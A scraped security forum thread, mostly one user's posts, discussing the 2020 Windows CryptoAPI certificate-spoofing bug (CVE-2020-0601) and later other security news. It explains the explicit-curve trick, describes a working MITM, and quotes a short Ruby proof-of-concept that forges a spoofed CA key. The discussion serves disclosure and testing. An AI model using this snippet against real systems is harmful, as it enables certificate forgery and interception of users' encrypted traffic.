secfuck v18.509 issuance of thread title with short validity period. update: we will not be revoking

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > YOSPOS > secfuck v18.509 issuance of thread title with short validity period. update: we will not be revoking

«‹›2 »

apseudonym: Feb 25, 2011

Owch TLS mitm bugs are never fun, someone is having a very bad couple weeks.

I'm not sure why they put code signing first, that's far less mattering.

# ¿ Jan 14, 2020 19:58

Adbot: ADBOT LOVES YOU

# ¿ Apr 29, 2024 00:06

apseudonym: Feb 25, 2011

BangersInMyKnickers posted:

Windows Update, SCCM agent, WSUS, Java Updater, Adobe Updater, AV updaters are all going to be using code signature validation to make sure the packages they are running are legit and either already have system privs or will be implicitly trusted by the user if they throw a UAC dialog for update. The TLS intercept is less of a problem if you can still rely on code signing, but you can't and that gives you a pre-built foothold

TLS mitms are enough for full device control even without code signing compromises, I've found bugs like this in other things and they are not fun times.

E: https://twitter.com/taviso/status/1217157205939519489

apseudonym fucked around with this message at 21:21 on Jan 14, 2020

# ¿ Jan 14, 2020 21:17

apseudonym: Feb 25, 2011

Malloc Voidstar posted:

https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF

If the NSA is going to be doing more disclosures like this I hope it'll improve the quality of vuln disclosure.

No clever name or lovely marketing, it's refreshing.

# ¿ Jan 15, 2020 01:13

apseudonym: Feb 25, 2011

redleader posted:

oooh, nosebleed

# ¿ Jan 15, 2020 01:38

apseudonym: Feb 25, 2011

ewiley posted:

well gently caress that was fast

https://twitter.com/sans_isc/status/1217639837689356288?s=21

tqbf spoiled the math on twitter/HN yesterday so its only a handful of openssl EC math calls to generate your own bad cert (I recommend a CA)

# ¿ Jan 16, 2020 04:15

apseudonym: Feb 25, 2011

Cocoa Crispies posted:

tqbf and idlewords are the only good people on the orange website

I respect that he continues to smack down bad opinions on the orange site, I gave up years ago.

# ¿ Jan 16, 2020 04:31

apseudonym: Feb 25, 2011

Jabor posted:

let me check my understanding for a moment:

in order to verify a signature, you need a curve, a generator point on that curve G, and a public key (which is another point on the curve) Q. Q is equal to G times the private key, but the mathematics of elliptic curves mean that it's staggeringly hard to figure out the private key from just G and Q.

the buggy api only validates the value of Q - so you can provide a signature that uses Q as the generator point on the curve, and also Q as the public key, and the signature will still check out according to that api. then since the points are the same, you'll know that the private key is 1, so you can sign whatever you like with it.

G is a part of the definition.

Not quite on the bug part. the issue is that they allow explicitly specific curves, that's bad and an RFC violation (this is yet another example of flexibility in security code being a fuckup). You can provide a new curve with otherwise similar properties but with a new G.

Stealing from tqbf's post: if you generate a new key x and choose a new G' = 1/xQ then your public key is the same as the Q through basic algebra. But you're on a different curve and in correct usage that shouldn't matter since that curve isn't what the client is using.

ASN.1 encoding for ECParams lets you both do named curves but also explicitly set all the values, though only the named version is 'allowed'. Microsoft in their implementation mistakenly honored explicit curves in the certificate, and here we are.

let me post some explicit values here real quick from my other machine.

# ¿ Jan 16, 2020 05:48

apseudonym: Feb 25, 2011

apseudonym posted:

For example, we're going to use the USERTrust ECC Certification Authority cert, because it has the honor of being the alphabetically first ec cert in my cadir. Here's the SPKI

code:

         Subject Public Key Info:                                                                                                                                        
             Public Key Algorithm: id-ecPublicKey                                                                                                                        
                 Public-Key: (384 bit)                                                                                                                                   
                 pub:                                                                                                                                                    
                     04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:                                                                                                       
                     c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:                                                                                                       
                     d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:                                                                                                       
                     5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:                                                                                                       
                     97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:                                                                                                       
                     70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:                                                                                                       
                     32:7f:8a:34:e3:79:79                                                                                                                                
                 ASN1 OID: secp384r1                                                                                                                                     
                 NIST CURVE: P-384

Where pub above is Q.

For all the values for secp384r1 see `openssl ecparam -name secp384r1 -param_enc explicit -text`, its a bit long to paste but you can see the standard G there.

I don't know x (obviously) on secp384r1, but let's make a new fancy curve with all the parameters of secp384r1 _except_ we set G = Q above. Here's the EC params for that.

code:

Now, if I make a key in this new space with a private key = 1, its public key is _also_ Q. This curve is dumb though and should feel dumb, but its a curve.

If you do ecdsa on this curve I can obviously show I have the private key corresponding to the public key of Q _on this curve_, even though I don't know it on secp384r1 and can't do anything there.

In a correct TLS client when I send my signature on my new curve you will reject it as invalid, because it an explicit specified curve and you're a strong TLS stack who doesn't let servers tell you what to do. Microsoft however honored the explicit curve, and here's the shenanigains.

Now, you can sign your evil.com certificate using your 'ca' on the new curve with the key (1, Q) and if it's accepted you haven't patched.*

* Haven't tested with this cert, because :effort:

, but I'll add it to my mitm testing suite and run it once I eat some food.

# ¿ Jan 16, 2020 06:11

apseudonym: Feb 25, 2011

Alright got the MiTM working and published. I had to touch openssl's C APIs again and that made me sad.

Since this is fuckup thread: Some more on the bug

The CA I use has a Subject/Issuer that I made up, no AKI or any v3 extensions but an SPKI from what I posted, that Windows considered this trusted says a lot about their path building/checking. It was mistaken for the legit root that I only share the Q,p,a,b values with.

When path building you eventually have to end up at your locally trusted roots (or die), but them seem to be doing a match based just on the SPKI of my root cert.

That's not inherently insane since TrustAnchors are just an SPKI and a name in a cert, but for my cert to have been mistaken for the CA it means that code is doing a limited comparison check of the SPKI. If they checked the encoded bytes mine would fail, and it they did any curve name based checks it would also fail. It may be that they either only checked the pub field (and not the curve parameters) for equality, or maybe only did a,b,P and not G. Either way had they not supported explicit curves in that field they might have lucked out, or if they used the SPKI from the trust anchor and not from the server provided cert.

Since I doubt they always do the SPKI check: I'd bet that in the event path building gets stuck instead of rejecting it does a last ditch attempt looking through the trust anchors for an anchor with a 'matching' SPKI. This could maybe help you in a scenario where a CA has multiple names for the same key and the server presents without cross signing certs one you don't have. TLS changes are measured based on how many servers you break connections to, so compat hacks are totally a thing but I'm just guessing at this point.

TL;dr: lol at the person on twitter saying it would take months to actually use, the disclosure gives enough away that most the work is dealing with openssl to craft the certificate. Difficulty 3/10.

# ¿ Jan 16, 2020 11:22

apseudonym: Feb 25, 2011

Rufus Ping posted:

Yeah specifically it's when retrieving certs from an internal cache (everyone seems to be missing this - it's why you need to warm the verifier up with a legit cert first), which is keyed on too little information and was not subsequently checked properly

Hackernews

Huh, it does? I was attacking 100% of tls connections after boot and it worked. One must have slid through.

# ¿ Jan 16, 2020 16:42

apseudonym: Feb 25, 2011

Rufus Ping posted:

Depending on which root you spoofed something else may have cached it during startup (I imagine all sorts of telemetry and update checks go over TLS)

Reference:
https://twitter.com/saleemrash1d/status/1217519809732259840?s=19
Pretty sure it's not specific to Chrome despite wording of tweet

Huh. I was avoiding reading most the writeups to avoid spoiling my fun, looks like I might have gotten a bit lucky.

Cert caches and caching state is pretty dangerous, I got a less bad than this MiTM CVE in Android's old stack for doing that. I'm surprised they are doing what looks like a contains on the cache and not getting the cert from the cache and using that for the chain check.

# ¿ Jan 16, 2020 17:29

apseudonym: Feb 25, 2011

Rufus Ping posted:

Maybe something on disk was verified using the same code path. Cab files?

Could be, no clue. I don't really do much with my desktop besides lovely video games.

Openssl was definitely the biggest pain for this, I tried for an hour to see if I could do it without going down to the APIs, but it looked like too much of a pain so I wrote a stupid c program instead. It wasn't so bad except it's been like 8 years so I had to reread all the docs and I hate those APIs. If anyone wants it I can upload the source for generating the pem private key given a group and a pubkey, it's not complicated but in case you too hate :effort:

# ¿ Jan 16, 2020 17:41

apseudonym: Feb 25, 2011

Happy to help :nsa:

I added it to nogotofail so you can test for this (and maybe have fun)

# ¿ Jan 16, 2020 18:16

apseudonym: Feb 25, 2011

Subjunctive posted:

There�s a little ruby snippet that does all the work:

code:

require 'openssl'

raw = File.read ARGV[0]
ca = OpenSSL::X509::Certificate.new(raw) # Read certificate
ca_key = ca.public_key # Parse public key from CA

ca_key.private_key = 1 # Set a private key, which will match Q = d'G'
group = ca_key.group 
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group # Set new group with fake generator G' = Q

File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem }

https://github.com/ollypwn/CVE-2020-0601/blob/master/main.rb

Mother fucker. The python bindings for openssl don't let you touch the values in the key/group.

# ¿ Jan 16, 2020 21:10

apseudonym: Feb 25, 2011

Vapor Moon posted:

All my discords are going mad about this Windows CVE and I'm a big dumby so is it as bad for random shmoes as they are making it out to be or just good ol media frenzy?

Arbitrary MiTMs are rather bad.

# ¿ Jan 16, 2020 21:12

apseudonym: Feb 25, 2011

Djeser posted:

its bad, but your gaming pc and porn stash are probably not high value targets

My games and somethingawful.com credentials are serious business OK

# ¿ Jan 16, 2020 21:21

apseudonym: Feb 25, 2011

BangersInMyKnickers posted:

http://mailman.icsi.berkeley.edu/pipermail/zeek/2020-January/014922.html

Apparently looking for RFC violations by explicitly defining an ECC curve during handshake is a fairly reliable indicator of someone doing some fuckery and should be viable for border detection and possibly blocking of this.

By scanning the certificates yes (the bad cert isn't the one you are talking to it's the issuer), but in TLS 1.3 the certificates are encrypted so you cannot do passive network detection of it.

Welcome to the future where jury rigged passive network detection flat obviously doesn't work instead of giving you warm feelings while not working. Patch your devices.

# ¿ Jan 16, 2020 22:54

apseudonym: Feb 25, 2011

James Baud posted:

Just MITM all the TLS1.3 with your enterprise CA instead of "most" TLS1.2.

Your MiTM appliance probably has its own dumb set of MiTM bugs

# ¿ Jan 17, 2020 02:10

apseudonym: Feb 25, 2011

Subjunctive posted:

I used netscalers before the Citrix acquisition and they were awful then too. many pained exchanges with their support and engineering to discover that the documentation was omitting yet another way in which they violated the HTTP spec

What's a few MUST and MUST NOTS between friends.

# ¿ Jan 21, 2020 22:36

apseudonym: Feb 25, 2011

haveblue posted:

you can back up iphones locally with encryption through itunes sync, is that an option on android?

No, but e2e cloud encrypted backups is the default.

apseudonym fucked around with this message at 01:09 on Jan 24, 2020

# ¿ Jan 24, 2020 01:07

apseudonym: Feb 25, 2011

Subjunctive posted:

OK, so what should I tell people to do then? It seems like "don't grant accessibility permissions" is the closest thing that would actually prevent this class of attack (which then uses those permissions to disable the Play Protect stuff, natch), but that's not very easy to explain to people. Certainly not as easy as "only install from the Play Store", so you got my hopes up!

Granting accessibility requires a lot of clicks through UI that's clearly marked accessibility.

"Dont grant accessibility regardless of the pitch" is a good thing to say.

Only install from the play store is in practice the simplest, the numbers of bad there are still less than any other machine they own.

e: this thread still doesn't know much about mobile anything :smith:

# ¿ Mar 2, 2020 20:08

apseudonym: Feb 25, 2011

Google authenticator doesn't support cloud backups but does support device to device setup flows

Subjunctive posted:

can apps opt out of accessibility access?

what would people who, you know, need screen readers do then?

You can reject input from accessibility by hooking the right APIs and there's ways you can mess with the reading support but it's kind of a dick move to people who need it.

apseudonym fucked around with this message at 17:55 on Apr 6, 2020

# ¿ Apr 6, 2020 17:53

apseudonym: Feb 25, 2011

D. Ebdrup posted:

any os with sufficient debug tracing can let root snoop on passwords, for example windows, macos, probably ios, and freebsd all have dtrace
dtrace makes it possible to snoop on passwords, and there are even ways to make it easy

Any OS that let's you dtrace other things isn't a secure OS tho

# ¿ Apr 7, 2020 02:21

apseudonym: Feb 25, 2011

haveblue posted:

apple will review your entitlements and there�s a subset of keys that will require you to explain to a human a really really good reason you need to use it before they approve your app. dtrace is almost certainly on that list if it�s even available on the publish to App Store target (haven�t checked)

and there�s also a way to flag a process as invisible to dtrace, not sure if that�s usable by non-Apple devs though

Apple enables some pretty scary entitlements but dtrace on a production phone would be a pretty insane.

# ¿ Apr 7, 2020 07:30

apseudonym: Feb 25, 2011

haveblue posted:

https://siguza.github.io/psychicpaper/

lol

(short version: due to ios using different implementations of xml parsing for different modules, it is possible to craft a malformed entitlements list that will grant different privileges depending on which subsystem is examining it)

And their fix was to have more parsers, which means there's likely more of these bugs out there.

Dont assume multiple parsers for anything complicated behave identically kids.

# ¿ May 4, 2020 17:23

apseudonym: Feb 25, 2011

ewiley posted:

I mean the fact that there’s still a market for iOS exploits means Apple is doing something right wrt security. I’ve never even heard of saleable Android exploit since it’s just easier to get someone to install mrHands.apk or whatever directly.

Lol, have you looked?

Android exploits cost more than iOS ones before this.

# ¿ May 13, 2020 17:17

apseudonym: Feb 25, 2011

Hamled posted:

Presumably Zerodium's pricing table is more marketing bullshit than an actual quote... but given that they include a wide variety of Android-based exploit items on it they must be in the market for them, right?

They are in the market for both, and while the numbers are only one example the relative comparisons match other folks I've talked to.

Apple doesnt have nearly enough defense in depth and has way too much memory unsafe code, that combo hurts. Their hardware mitigations are cool and I envy the speed they can do em but mitigations are your last ditch effort not your first line and people are starting to realize those things aren't magical

# ¿ May 13, 2020 19:27

apseudonym: Feb 25, 2011

mystes posted:

It amazes me how much of this weird legacy stuff there is in windows like this printer port functionality that nobody understands but which turns out to be insecure as soon as someone bothers to look at it.

Before I started working in OSes I liked to laugh at Windows for all the backwards compat things that were arguably not used by anyone but still around.

Now having gone through the hellish exercise to remove old bad things a bunch of times I sympathize, it's agony to rip old poo poo out like that and probably no one is around who understands the whole thing anymore and it's the least fun way to spend your time.

# ¿ May 13, 2020 23:36

apseudonym: Feb 25, 2011

Lain Iwakura posted:

hi. i am still alive

nadim has decided to stalk me for some reason

no. i am fine. i doubt it wasn't anything more than curiousity

Glad you're still alive, nadim is loving scum.

# ¿ May 15, 2020 00:53

apseudonym: Feb 25, 2011

Optimus_Rhyme posted:

Glad you're ok.

Hopefully no one in this thread worked at cruize

poo poo my friend does(?) security there

# ¿ May 15, 2020 04:18

apseudonym: Feb 25, 2011

Optimus_Rhyme posted:

Bunch of infosec ppl I follow that worked there got laid off today

https://www.theverge.com/2020/5/14/21259001/cruise-gm-layoff-self-driving-unit-recruiting-product-design

# ¿ May 15, 2020 04:54

apseudonym: Feb 25, 2011

The Fool posted:

I feel out of the loop, who�s the shitbag?

A bad person who doesn't deserve the space in your brain needed to fit his awfulness.

# ¿ May 16, 2020 02:33

apseudonym: Feb 25, 2011

Varkk posted:

I always thought the main problem with Java was that any one with half a pulse could vomit some code towards and IDE, it would then compile and run. Unlike other languages where if you didn’t get most stuff 99% correct it would fail to compile with an unhelpful message. This lead to a bunch of poorly coded Java apps becoming mission critical.

Is your baseline here C++ or something?

# ¿ May 29, 2020 23:27

apseudonym: Feb 25, 2011

A Man With A Plan posted:

Haha yeah I was thinking as a professional C developer, yiu don't get the code that handles itself but when it does compile, you get something suited for this thread

If you write it in C you get something suited for this thread.

# ¿ May 29, 2020 23:44

apseudonym: Feb 25, 2011

ratbert90 posted:

Modern C++ is good op.

Which definition of modern C++ we going for?

Show me a large C++ code base that doesn't have basic security vulnerabilities. Memory unsafety is a secfuck in 2020.

# ¿ May 29, 2020 23:51

apseudonym: Feb 25, 2011

The Iron Rose posted:

https://bhavukjain1.github.io/blog/2020/05/30/zeroday-signin-with-apple/

I feel like that�s one of the larger buy bounty payouts ive seen in awhile and buddy deserves every penny

Just astonishingly bad.

And Apple forced developers to use apple signin, oof.

# ¿ May 30, 2020 18:34

apseudonym: Feb 25, 2011

Subjunctive posted:

because of some complicated rotation thing they were trying to do, which apparently didn�t actually rotate anything anyway

It sounds like once it rotated it was OK but before then it was using 0

Session resumption is such a footgun, though gnutls really went out of their way to make it especially footguny with the custom TOTP thing

# ¿ Jun 9, 2020 00:55

apseudonym: Feb 25, 2011

Subjunctive posted:

maybe I misinterpreted this tweet?

https://twitter.com/__agwa/status/1270076719819558912

Oh I didn't see that last one, you're right.

# ¿ Jun 9, 2020 01:59

apseudonym: Feb 25, 2011

Jabor posted:

My interpretation was that the master key was okay, but before the first rotation it was using all-0s as the ticket key.

The issue with the rotation scheme that the gnu folks chose is that even if it were implemented correctly, it would provide no actual security - an attacker that gained access to the master key would be able to derive all previous ticket keys and use them to decrypt previously-captured data.

TOTP is supposed to be protected against leaks of other keys not the master key (TOTP still makes no sense for this)

# ¿ Jun 9, 2020 02:35

Adbot: ADBOT LOVES YOU

# ¿ Apr 29, 2024 00:06

apseudonym: Feb 25, 2011

Jabor posted:

Half the reason you rotate your ticket keys is so that someone who compromises your server can't use the information they discover to read every single message ever sent to it that they've got squirreled away in a datacenter somewhere - they only get the stuff proximate to when they compromised the server.

That doesn't work if every single ticket key is trivially derived from the master key that the server also holds.

Yeah, TOTP doesn't make sense here

# ¿ Jun 9, 2020 02:57

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > YOSPOS > secfuck v18.509 issuance of thread title with short validity period. update: we will not be revoking

«‹›2 »